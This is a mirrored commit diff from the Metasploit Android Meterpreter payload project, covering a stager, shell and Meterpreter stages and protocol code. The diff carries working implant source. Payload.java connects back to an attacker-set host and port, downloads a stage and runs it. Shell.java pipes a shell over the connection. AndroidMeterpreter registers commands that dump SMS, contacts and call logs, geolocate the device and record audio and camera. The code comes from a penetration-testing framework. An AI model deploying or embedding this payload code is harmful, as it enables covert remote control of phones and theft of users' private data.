1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-02 11:36:22 +01:00

Land #14, #17, #22, #23 @timwr's omnibus android meterpreter patch set

This fixes a number of compatibilty issues with the latest Metasploit
framework and Android SDKs, along with setting the stage for running as
root on Android.
This commit is contained in:
Brent Cook 2015-01-30 09:24:02 -06:00
commit 256fd007b8
14 changed files with 255 additions and 209 deletions

2
java/.gitignore vendored
View File

@ -8,10 +8,12 @@
*/*/.settings */*/.settings
*/*/bin */*/bin
*/*/target */*/target
*.iml
*.swp *.swp
*.orig *.orig
*.rej *.rej
*~ *~
.idea/
androidpayload/ndkstager/libs androidpayload/ndkstager/libs
androidpayload/ndkstager/obj androidpayload/ndkstager/obj
.DS_Store .DS_Store

View File

@ -8,7 +8,7 @@ public class MainActivity extends Activity
@Override @Override
protected void onCreate(Bundle savedInstanceState) { protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState); super.onCreate(savedInstanceState);
Payload.startWithContext(this); Payload.startInPath(getFilesDir().toString());
finish(); finish();
} }
} }

View File

@ -1,80 +1,32 @@
package com.metasploit.stage; package com.metasploit.stage;
import android.content.Context;
import android.os.Handler;
import android.os.Looper;
import java.io.DataInputStream; import java.io.DataInputStream;
import java.io.DataOutputStream; import java.io.DataOutputStream;
import java.io.File; import java.io.File;
import java.io.FileOutputStream; import java.io.FileOutputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.lang.reflect.Method; import java.net.HttpURLConnection;
import java.net.Socket; import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.util.Random; import java.util.Random;
import javax.net.ssl.HttpsURLConnection; import javax.net.ssl.HttpsURLConnection;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import dalvik.system.DexClassLoader; import dalvik.system.DexClassLoader;
public class Payload { public class Payload {
final static int URI_CHECKSUM_INITJ = 88; public static final String LHOST = "XXXX127.0.0.1 ";
final static String AB = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; public static final String LPORT = "YYYY4444 ";
public static final String URL = "ZZZZ ";
public static final String LHOST = "XXXX127.0.0.1 "; public static final String TRIALS = "TTTT ";
public static final String LPORT = "YYYY4444 ";
public static final String URL = "ZZZZ ";
public static final String TRIALS = "TTTT ";
public static Context context;
static Random rnd = new Random();
public static void start() { private static final int URI_CHECKSUM_INITJ = 88;
if (context == null) { private static final String AB = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
try { private static final Random rnd = new Random();
final Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
final Method currentApplication = activityThreadClass.getMethod("currentApplication");
context = (Context) currentApplication.invoke(null, (Object[]) null);
if (context == null) {
Handler handler = new Handler(Looper.getMainLooper());
handler.post(new Runnable() {
@Override
public void run() {
Context application = null;
try {
application = (Context) currentApplication.invoke(null, (Object[]) null);
} catch (Exception e) {
e.printStackTrace();
}
if (application != null) {
startWithContext(application);
} else {
startAsync();
}
}
});
} else {
startWithContext(context);
}
} catch (Exception e) {
e.printStackTrace();
}
} else {
startWithContext(context);
}
}
public static void startWithContext(Context context) { private static String[] parameters;
Payload.context = context.getApplicationContext();
// Set the working directory somewhere writeable
System.setProperty("user.dir", context.getFilesDir().getAbsolutePath());
startAsync();
}
public static void startAsync() { public static void startAsync() {
new Thread() { new Thread() {
@ -86,8 +38,17 @@ public class Payload {
}.start(); }.start();
} }
public static void main(String[] args) { public static void startInPath(String path) {
parameters = new String[] { path };
startAsync();
}
public static void main(String[] args) {
if (args != null) {
File currentDir = new File(".");
String path = currentDir.getAbsolutePath();
parameters = new String[] { path };
}
int nTrials = Integer.parseInt(TRIALS.substring(4).trim()); int nTrials = Integer.parseInt(TRIALS.substring(4).trim());
while (!startReverseConn() && nTrials-- > 0) { while (!startReverseConn() && nTrials-- > 0) {
try { try {
@ -99,10 +60,11 @@ public class Payload {
private static boolean startReverseConn() { private static boolean startReverseConn() {
try { try {
if (URL.substring(4).trim().length() == 0) if (URL.substring(4).trim().length() == 0) {
reverseTCP(); reverseTCP();
else } else {
reverseHTTP(); reverseHTTP();
}
return true; return true;
} catch (Exception e) { } catch (Exception e) {
@ -110,25 +72,26 @@ public class Payload {
} }
} }
static String randomString(int len) { private static String randomString(int len) {
StringBuilder sb = new StringBuilder(len); StringBuilder sb = new StringBuilder(len);
for (int i = 0; i < len; i++) for (int i = 0; i < len; i++) {
sb.append(AB.charAt(rnd.nextInt(AB.length()))); sb.append(AB.charAt(rnd.nextInt(AB.length())));
}
return sb.toString(); return sb.toString();
} }
static int checksumText(String s) { private static int checksumText(String s) {
int tmp = 0; int tmp = 0;
for (int i = 0; i < s.length(); i++) for (int i = 0; i < s.length(); i++) {
tmp += (int) s.charAt(i); tmp += (int) s.charAt(i);
}
return tmp % 0x100; return tmp % 0x100;
} }
private static void reverseHTTP() throws Exception { private static void reverseHTTP() throws Exception {
int checksum = 0; int checksum;
String URI; String URI;
HttpURLConnection urlConn; HttpURLConnection urlConn;
String lurl = URL.substring(4).trim(); String lurl = URL.substring(4).trim();
while (true) { while (true) {
@ -138,7 +101,7 @@ public class Payload {
break; break;
} }
String FullURI = "/" + URI.toString(); String FullURI = "/" + URI;
URL url = new URL(lurl + FullURI + "_" + randomString(16)); URL url = new URL(lurl + FullURI + "_" + randomString(16));
@ -147,22 +110,36 @@ public class Payload {
Class.forName("com.metasploit.stage.PayloadTrustManager") Class.forName("com.metasploit.stage.PayloadTrustManager")
.getMethod("useFor", new Class[] { URLConnection.class }) .getMethod("useFor", new Class[] { URLConnection.class })
.invoke(null, new Object[] { urlConn }); .invoke(null, new Object[] { urlConn });
} else } else {
urlConn = (HttpURLConnection) url.openConnection(); urlConn = (HttpURLConnection) url.openConnection();
}
urlConn.setDoInput(true); urlConn.setDoInput(true);
urlConn.setRequestMethod("GET"); urlConn.setRequestMethod("GET");
urlConn.connect(); urlConn.connect();
DataInputStream in = new DataInputStream(urlConn.getInputStream()); DataInputStream in = new DataInputStream(urlConn.getInputStream());
loadStage(in, null, context, new String[] {}); loadStage(in, null, parameters);
urlConn.disconnect(); urlConn.disconnect();
} }
private static void loadStage(DataInputStream in, OutputStream out, private static void reverseTCP() {
Context context, String[] parameters) throws Exception { try {
String lhost = LHOST.substring(4).trim();
String lport = LPORT.substring(4).trim();
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
loadStage(in, out, parameters);
String path = new File(".").getAbsolutePath(); } catch (Exception e) {
e.printStackTrace();
}
}
private static void loadStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
String path = parameters[0];
String filePath = path + File.separatorChar + "payload.jar"; String filePath = path + File.separatorChar + "payload.jar";
String dexPath = path + File.separatorChar + "payload.dex"; String dexPath = path + File.separatorChar + "payload.dex";
@ -195,23 +172,7 @@ public class Payload {
new File(dexPath).delete(); new File(dexPath).delete();
myClass.getMethod( myClass.getMethod(
"start", "start",
new Class[] { DataInputStream.class, OutputStream.class, new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage,
Context.class, String[].class }).invoke(stage, new Object[] { in, out, parameters });
new Object[] { in, out, context, new String[] {}, });
} }
private static void reverseTCP() {
try {
String lhost = LHOST.substring(4).trim();
String lport = LPORT.substring(4).trim();
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
loadStage(in, out, context, new String[] {});
} catch (Exception e) {
e.printStackTrace();
}
}
} }

View File

@ -88,11 +88,11 @@
<copy todir="${project.basedir}/target/dx/shell"> <copy todir="${project.basedir}/target/dx/shell">
<fileset dir="${project.basedir}/target/classes"> <fileset dir="${project.basedir}/target/classes">
<include name="androidpayload/stage/Shell.class" /> <include name="androidpayload/stage/Shell.class" />
<include name="androidpayload/stage/Stage.class" />
</fileset> </fileset>
<zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/StreamForwarder.class" /> <zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/StreamForwarder.class" />
<zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/Stage.class" />
</copy> </copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true"> <exec executable="${android.sdk.path}/platforms/android-3/tools/${dx.filename}" failonerror="true">
<arg value="--verbose" /> <arg value="--verbose" />
<arg value="--dex" /> <arg value="--dex" />
<arg value="--output=${project.basedir}/../../${deploy.path}/data/android/shell.jar" /> <arg value="--output=${project.basedir}/../../${deploy.path}/data/android/shell.jar" />
@ -104,10 +104,10 @@
<copy todir="${project.basedir}/target/dx/metstage"> <copy todir="${project.basedir}/target/dx/metstage">
<fileset dir="${project.basedir}/target/classes"> <fileset dir="${project.basedir}/target/classes">
<include name="androidpayload/stage/Meterpreter.class" /> <include name="androidpayload/stage/Meterpreter.class" />
<include name="androidpayload/stage/Stage.class" />
</fileset> </fileset>
<zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/Stage.class" />
</copy> </copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true"> <exec executable="${android.sdk.path}/platforms/android-3/tools/${dx.filename}" failonerror="true">
<arg value="--verbose" /> <arg value="--verbose" />
<arg value="--dex" /> <arg value="--dex" />
<arg value="--output=${project.basedir}/../../${deploy.path}/data/android/metstage.jar" /> <arg value="--output=${project.basedir}/../../${deploy.path}/data/android/metstage.jar" />
@ -117,9 +117,11 @@
<echo>Building meterpreter</echo> <echo>Building meterpreter</echo>
<mkdir dir="${project.basedir}/target/dx/meterpreter" /> <mkdir dir="${project.basedir}/target/dx/meterpreter" />
<copy todir="${project.basedir}/target/dx/meterpreter"> <copy todir="${project.basedir}/target/dx/meterpreter">
<fileset dir="${project.basedir}/target/classes" includes="com/metasploit/meterpreter/**/*.class" /> <fileset dir="${project.basedir}/target/classes">
<include name="com/metasploit/meterpreter/**/*.class" />
</fileset>
</copy> </copy>
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true"> <exec executable="${android.sdk.path}/platforms/android-3/tools/${dx.filename}" failonerror="true">
<arg value="--verbose" /> <arg value="--verbose" />
<arg value="--dex" /> <arg value="--dex" />
<arg value="--output=${project.basedir}/../../${deploy.path}/data/android/meterpreter.jar" /> <arg value="--output=${project.basedir}/../../${deploy.path}/data/android/meterpreter.jar" />

View File

@ -1,24 +1,21 @@
package androidpayload.stage; package androidpayload.stage;
import dalvik.system.DexClassLoader;
import android.content.Context;
import java.io.DataInputStream; import java.io.DataInputStream;
import java.io.File; import java.io.File;
import java.io.FileOutputStream; import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream; import java.io.OutputStream;
import java.util.Random;
import dalvik.system.DexClassLoader;
import javapayload.stage.Stage;
/** /**
* Meterpreter Java Payload Proxy * Meterpreter Java Payload Proxy
*/ */
public class Meterpreter implements Stage { public class Meterpreter implements Stage {
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception { public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
String path = new File(".").getAbsolutePath(); String path = parameters[0];
String filePath = path + File.separatorChar + "met.jar"; String filePath = path + File.separatorChar + "met.jar";
String dexPath = path + File.separatorChar + "met.dex"; String dexPath = path + File.separatorChar + "met.dex";
@ -43,7 +40,7 @@ public class Meterpreter implements Stage {
file.delete(); file.delete();
new File(dexPath).delete(); new File(dexPath).delete();
myClass.getConstructor(new Class[] { myClass.getConstructor(new Class[] {
DataInputStream.class, OutputStream.class, Context.class, boolean.class DataInputStream.class, OutputStream.class, String[].class, boolean.class
}).newInstance(in, out, context, false); }).newInstance(in, out, parameters, false);
} }
} }

View File

@ -1,11 +1,10 @@
package androidpayload.stage; package androidpayload.stage;
import android.content.Context;
import java.io.DataInputStream; import java.io.DataInputStream;
import java.io.OutputStream; import java.io.OutputStream;
import javapayload.stage.Stage;
import javapayload.stage.StreamForwarder; import javapayload.stage.StreamForwarder;
/** /**
@ -13,7 +12,7 @@ import javapayload.stage.StreamForwarder;
*/ */
public class Shell implements Stage { public class Shell implements Stage {
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception { public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
final Process proc = Runtime.getRuntime().exec("sh"); final Process proc = Runtime.getRuntime().exec("sh");
new StreamForwarder(in, proc.getOutputStream(), out).start(); new StreamForwarder(in, proc.getOutputStream(), out).start();
new StreamForwarder(proc.getInputStream(), out, out).start(); new StreamForwarder(proc.getInputStream(), out, out).start();

View File

@ -1,44 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package androidpayload.stage;
import android.content.Context;
import java.io.DataInputStream;
import java.io.OutputStream;
public interface Stage {
public abstract void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception;
}

View File

@ -1,12 +1,16 @@
package com.metasploit.meterpreter; package com.metasploit.meterpreter;
import java.io.DataInputStream;
import java.io.File;
import java.io.OutputStream;
import android.content.Context; import android.content.Context;
import android.os.Handler;
import android.os.Looper;
import com.metasploit.meterpreter.android.check_root_android;
import com.metasploit.meterpreter.android.dump_calllog_android;
import com.metasploit.meterpreter.android.dump_contacts_android;
import com.metasploit.meterpreter.android.dump_sms_android;
import com.metasploit.meterpreter.android.geolocate_android;
import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android; import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android;
import com.metasploit.meterpreter.android.stdapi_sys_config_sysinfo_android;
import com.metasploit.meterpreter.android.stdapi_sys_process_get_processes_android; import com.metasploit.meterpreter.android.stdapi_sys_process_get_processes_android;
import com.metasploit.meterpreter.android.webcam_audio_record_android; import com.metasploit.meterpreter.android.webcam_audio_record_android;
import com.metasploit.meterpreter.android.webcam_get_frame_android; import com.metasploit.meterpreter.android.webcam_get_frame_android;
@ -35,32 +39,62 @@ import com.metasploit.meterpreter.stdapi.stdapi_net_socket_tcp_shutdown_V1_3;
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_getuid; import com.metasploit.meterpreter.stdapi.stdapi_sys_config_getuid;
import com.metasploit.meterpreter.stdapi.stdapi_sys_process_execute_V1_3; import com.metasploit.meterpreter.stdapi.stdapi_sys_process_execute_V1_3;
import com.metasploit.meterpreter.android.check_root_android; import java.io.DataInputStream;
import com.metasploit.meterpreter.android.dump_calllog_android; import java.io.File;
import com.metasploit.meterpreter.android.dump_contacts_android; import java.io.OutputStream;
import com.metasploit.meterpreter.android.dump_sms_android; import java.lang.reflect.Method;
import com.metasploit.meterpreter.android.geolocate_android;
import com.metasploit.meterpreter.android.stdapi_sys_config_sysinfo_android;
public class AndroidMeterpreter extends Meterpreter { public class AndroidMeterpreter extends Meterpreter {
private static String writeableDir;
private static Context context; private static Context context;
private void findContext() throws Exception {
final Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
final Method currentApplication = activityThreadClass.getMethod("currentApplication");
context = (Context) currentApplication.invoke(null, (Object[]) null);
if (context == null) {
Handler handler = new Handler(Looper.getMainLooper());
handler.post(new Runnable() {
@Override
public void run() {
try {
context = (Context) currentApplication.invoke(null, (Object[]) null);
} catch (Exception e) {
e.printStackTrace();
}
try {
startExecuting();
} catch (Exception e) {
e.printStackTrace();
}
}
});
} else {
startExecuting();
}
}
public static Context getContext() { public static Context getContext() {
return context; return context;
} }
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, Context context, boolean redirectErrors) throws Exception { public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, String[] parameters, boolean redirectErrors) throws Exception {
super(in, rawOut, true, redirectErrors, false); super(in, rawOut, true, redirectErrors, false);
AndroidMeterpreter.context = context; writeableDir = parameters[0];
startExecuting(); try {
findContext();
} catch (Exception e) {
e.printStackTrace();
startExecuting();
}
} }
@Override @Override
public String[] loadExtension(byte[] data) throws Exception { public String[] loadExtension(byte[] data) throws Exception {
getCommandManager().resetNewCommands(); getCommandManager().resetNewCommands();
CommandManager mgr = getCommandManager(); CommandManager mgr = getCommandManager();
Loader.cwd = new File(".").getAbsoluteFile(); Loader.cwd = new File(writeableDir);
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class); mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class); mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class); mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);

View File

@ -46,8 +46,8 @@ JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
(*env)->GetMethodID(env, dex_class, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;"), (*env)->GetMethodID(env, dex_class, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;"),
class_file); class_file);
// Call Payload.start(); // Call Payload.startInPath();
(*env)->CallStaticVoidMethod(env, payload_class, (*env)->GetStaticMethodID(env, payload_class, "start", "()V")); (*env)->CallStaticVoidMethod(env, payload_class, (*env)->GetStaticMethodID(env, payload_class, "startInPath", "(Ljava/lang/String;)V"), file_path);
(*env)->DeleteLocalRef(env, jar_file); (*env)->DeleteLocalRef(env, jar_file);
(*env)->DeleteLocalRef(env, file_path); (*env)->DeleteLocalRef(env, file_path);

View File

@ -26,6 +26,7 @@ public class TLVPacket {
public static final int TLV_META_TYPE_UINT = (1 << 17); public static final int TLV_META_TYPE_UINT = (1 << 17);
public static final int TLV_META_TYPE_RAW = (1 << 18); public static final int TLV_META_TYPE_RAW = (1 << 18);
public static final int TLV_META_TYPE_BOOL = (1 << 19); public static final int TLV_META_TYPE_BOOL = (1 << 19);
public static final int TLV_META_TYPE_QWORD = (1 << 20);
public static final int TLV_META_TYPE_COMPRESSED = (1 << 29); public static final int TLV_META_TYPE_COMPRESSED = (1 << 29);
public static final int TLV_META_TYPE_GROUP = (1 << 30); public static final int TLV_META_TYPE_GROUP = (1 << 30);
public static final int TLV_META_TYPE_COMPLEX = (1 << 31); public static final int TLV_META_TYPE_COMPLEX = (1 << 31);
@ -39,9 +40,14 @@ public class TLVPacket {
private List/* <Integer> */typeOrder = new ArrayList(); private List/* <Integer> */typeOrder = new ArrayList();
/** /**
* A map, mapping the types (as {@link Integer} objects) to values (different kinds of objects). There are type-safe helper methods to retrieve one of those objects from the map. * A list of objects that represent the values stored in the package.
*/ */
private Map/* <Integer,Object> */valueMap = new HashMap(); private List/* <Integer> */valueList = new ArrayList();
/**
* A map, mapping the types (as {@link Integer} objects) to an {@link ArrayList} of {@link Integer} values that respresent the index into the valueList array.
*/
private Map/* <Integer,ArrayList> */valueMap = new HashMap();
/** /**
* A list of additionals types/values to be added to the end of the packet. Here packet types may appear more than once, but they cannot be read again with this class. * A list of additionals types/values to be added to the end of the packet. Here packet types may appear more than once, but they cannot be read again with this class.
@ -58,11 +64,11 @@ public class TLVPacket {
* Read a TLV packet from an input stream. * Read a TLV packet from an input stream.
* *
* @param in * @param in
* Input stream to read from * Input stream to read from
* @param remaining * @param remaining
* length of the packet to read in bytes * length of the packet to read in bytes
* @throws IOException * @throws IOException
* if an error occurs * if an error occurs
*/ */
public TLVPacket(DataInputStream in, int remaining) throws IOException { public TLVPacket(DataInputStream in, int remaining) throws IOException {
while (remaining > 0) { while (remaining > 0) {
@ -85,6 +91,8 @@ public class TLVPacket {
if (string.indexOf('\0') != -1) if (string.indexOf('\0') != -1)
throw new IOException("Embedded null detected: " + string); throw new IOException("Embedded null detected: " + string);
value = string; value = string;
} else if ((type & TLV_META_TYPE_QWORD) != 0 && len == 16) {
value = new Long(in.readLong());
} else if ((type & TLV_META_TYPE_UINT) != 0 && len == 12) { } else if ((type & TLV_META_TYPE_UINT) != 0 && len == 12) {
value = new Integer(in.readInt()); value = new Integer(in.readInt());
} else if ((type & TLV_META_TYPE_BOOL) != 0 && len == 9) { } else if ((type & TLV_META_TYPE_BOOL) != 0 && len == 9) {
@ -114,11 +122,22 @@ public class TLVPacket {
* Add a TLV value to this object. * Add a TLV value to this object.
*/ */
public void add(int type, Object value) throws IOException { public void add(int type, Object value) throws IOException {
ArrayList indices = null;
Integer typeObj = new Integer(type); Integer typeObj = new Integer(type);
typeOrder.add(typeObj); typeOrder.add(typeObj);
if (valueMap.containsKey(typeObj))
throw new IOException("Duplicate type: " + type); if (valueMap.containsKey(typeObj)) {
valueMap.put(typeObj, value); indices = (ArrayList)valueMap.get(typeObj);
} else {
indices = new ArrayList();
valueMap.put(typeObj, indices);
}
// add the index of the new element to the list of indices for the object
indices.add(new Integer(valueList.size()));
// add the value to the list of values that make up the object
valueList.add(value);
} }
/** /**
@ -129,6 +148,13 @@ public class TLVPacket {
overflowList.add(value); overflowList.add(value);
} }
/**
* Add a TLV value to this object.
*/
public void add(int type, long value) throws IOException {
add(type, new Long(value));
}
/** /**
* Add a TLV value to this object. * Add a TLV value to this object.
*/ */
@ -154,20 +180,39 @@ public class TLVPacket {
* Get the value associated to a type. * Get the value associated to a type.
*/ */
public Object getValue(int type) { public Object getValue(int type) {
Object result = valueMap.get(new Integer(type)); ArrayList indices = (ArrayList)valueMap.get(new Integer(type));
if (result == null) if (indices == null)
throw new IllegalArgumentException("Cannot find type " + type); throw new IllegalArgumentException("Cannot find type " + type);
return result; // the indices variable is an ArrayList so by default return the first to
// preserve existing behaviour.
return valueList.get(((Integer)indices.get(0)).intValue());
}
/**
* Get the list of values associated to a type.
*/
public List getValues(int type) {
ArrayList values = new ArrayList();
ArrayList indices = (ArrayList)valueMap.get(new Integer(type));
if (indices == null)
throw new IllegalArgumentException("Cannot find type " + type);
for (int i = 0; i < indices.size(); ++i) {
values.add(valueList.get(((Integer)indices.get(i)).intValue()));
}
return values;
} }
/** /**
* Get the value associated to a type. * Get the value associated to a type.
*/ */
public Object getValue(int type, Object defaultValue) { public Object getValue(int type, Object defaultValue) {
Object result = valueMap.get(new Integer(type)); ArrayList indices = (ArrayList)valueMap.get(new Integer(type));
if (result == null) if (indices == null)
result = defaultValue; return defaultValue;
return result; // the indices variable is an ArrayList so by default return the first to
// preserve existing behaviour.
return valueList.get(((Integer)indices.get(0)).intValue());
} }
/** /**
@ -184,6 +229,13 @@ public class TLVPacket {
return (String) getValue(type, defaultValue); return (String) getValue(type, defaultValue);
} }
/**
* Get the value associated to a type as an int.
*/
public long getLongValue(int type) {
return ((Long) getValue(type)).longValue();
}
/** /**
* Get the value associated to a type as an int. * Get the value associated to a type as an int.
*/ */
@ -212,7 +264,7 @@ public class TLVPacket {
for (Iterator it = typeOrder.iterator(); it.hasNext();) { for (Iterator it = typeOrder.iterator(); it.hasNext();) {
Integer typeKey = (Integer) it.next(); Integer typeKey = (Integer) it.next();
int type = typeKey.intValue(); int type = typeKey.intValue();
Object value = valueMap.get(typeKey); Object value = getValue(type);
write(out, type, value); write(out, type, value);
} }
for (Iterator it = overflowList.iterator(); it.hasNext();) { for (Iterator it = overflowList.iterator(); it.hasNext();) {
@ -224,12 +276,17 @@ public class TLVPacket {
} }
/** /**
* Write a single vlaue to an output stream. * Write a single value to an output stream.
*/ */
private static void write(DataOutputStream out, int type, Object value) throws IOException { private static void write(DataOutputStream out, int type, Object value) throws IOException {
byte[] data; byte[] data;
if ((type & TLV_META_TYPE_STRING) != 0) { if ((type & TLV_META_TYPE_STRING) != 0) {
data = ((String) value + "\0").getBytes("ISO-8859-1"); data = ((String) value + "\0").getBytes("ISO-8859-1");
} else if ((type & TLV_META_TYPE_QWORD) != 0) {
out.writeInt(16);
out.writeInt(type);
out.writeLong(((Long) value).longValue());
return;
} else if ((type & TLV_META_TYPE_UINT) != 0) { } else if ((type & TLV_META_TYPE_UINT) != 0) {
out.writeInt(12); out.writeInt(12);
out.writeInt(type); out.writeInt(type);

View File

@ -47,10 +47,10 @@ public interface TLVType {
public static final int TLV_TYPE_CIPHER_PARAMETERS = TLVPacket.TLV_META_TYPE_GROUP | 501; public static final int TLV_TYPE_CIPHER_PARAMETERS = TLVPacket.TLV_META_TYPE_GROUP | 501;
// General // General
public static final int TLV_TYPE_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 600; public static final int TLV_TYPE_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 600;
public static final int TLV_TYPE_INHERIT = TLVPacket.TLV_META_TYPE_BOOL | 601; public static final int TLV_TYPE_INHERIT = TLVPacket.TLV_META_TYPE_BOOL | 601;
public static final int TLV_TYPE_PROCESS_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 630; public static final int TLV_TYPE_PROCESS_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 630;
public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 631; public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 631;
// Fs // Fs
public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200; public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200;
@ -91,7 +91,7 @@ public interface TLVType {
public static final int TLV_TYPE_SHUTDOWN_HOW = TLVPacket.TLV_META_TYPE_UINT | 1530; public static final int TLV_TYPE_SHUTDOWN_HOW = TLVPacket.TLV_META_TYPE_UINT | 1530;
// Registry // Registry
public static final int TLV_TYPE_HKEY = TLVPacket.TLV_META_TYPE_UINT | 1000; public static final int TLV_TYPE_HKEY = TLVPacket.TLV_META_TYPE_QWORD | 1000;
public static final int TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY; public static final int TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY;
public static final int TLV_TYPE_BASE_KEY = TLVPacket.TLV_META_TYPE_STRING | 1001; public static final int TLV_TYPE_BASE_KEY = TLVPacket.TLV_META_TYPE_STRING | 1001;
public static final int TLV_TYPE_PERMISSION = TLVPacket.TLV_META_TYPE_UINT | 1002; public static final int TLV_TYPE_PERMISSION = TLVPacket.TLV_META_TYPE_UINT | 1002;
@ -105,13 +105,17 @@ public interface TLVType {
public static final int TLV_TYPE_OS_NAME = TLVPacket.TLV_META_TYPE_STRING | 1041; public static final int TLV_TYPE_OS_NAME = TLVPacket.TLV_META_TYPE_STRING | 1041;
public static final int TLV_TYPE_USER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1042; public static final int TLV_TYPE_USER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1042;
public static final int TLV_TYPE_ENV_VARIABLE = TLVPacket.TLV_META_TYPE_STRING | 1100;
public static final int TLV_TYPE_ENV_VALUE = TLVPacket.TLV_META_TYPE_STRING | 1101;
public static final int TLV_TYPE_ENV_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 1102;
// Process // Process
public static final int TLV_TYPE_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2000; public static final int TLV_TYPE_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2000;
public static final int TLV_TYPE_ALLOCATION_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2001; public static final int TLV_TYPE_ALLOCATION_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2001;
public static final int TLV_TYPE_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2002; public static final int TLV_TYPE_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2002;
public static final int TLV_TYPE_PROCESS_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2003; public static final int TLV_TYPE_PROCESS_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2003;
public static final int TLV_TYPE_PROCESS_MEMORY = TLVPacket.TLV_META_TYPE_RAW | 2004; public static final int TLV_TYPE_PROCESS_MEMORY = TLVPacket.TLV_META_TYPE_RAW | 2004;
